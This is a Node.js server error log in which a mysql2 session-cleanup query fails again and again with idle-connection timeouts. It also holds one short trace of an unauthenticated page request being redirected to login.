Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 02:27:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 02:27:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 02:43:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 02:43:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 03:09:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 03:09:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 04:10:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 04:10:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 04:34:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 04:34:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 05:38:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 05:38:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 07:45:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 07:45:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 08:26:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 08:26:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 08:34:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 08:34:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 11:37:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 11:37:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 12:54:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 12:54:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 13:08:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 13:08:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 13:23:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 13:23:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 14:31:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 14:31:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 14:47:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 14:47:00' as DATETIME)"
}
2026-01-09T14:58:40.654Z server-connect:router Serving templateView /
2026-01-09T14:58:40.656Z server-connect:app Executing action step identify
2026-01-09T14:58:40.656Z server-connect:app options: { provider: 'security' }
2026-01-09T14:58:40.656Z server-connect:auth No login cookie found
2026-01-09T14:58:40.656Z server-connect:output identity: false
2026-01-09T14:58:40.657Z server-connect:app Executing action step restrict
2026-01-09T14:58:40.657Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-09T14:58:40.657Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 16:41:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 16:41:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 16:50:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 16:50:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 19:34:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 19:34:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 19:36:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 19:36:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 19:49:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
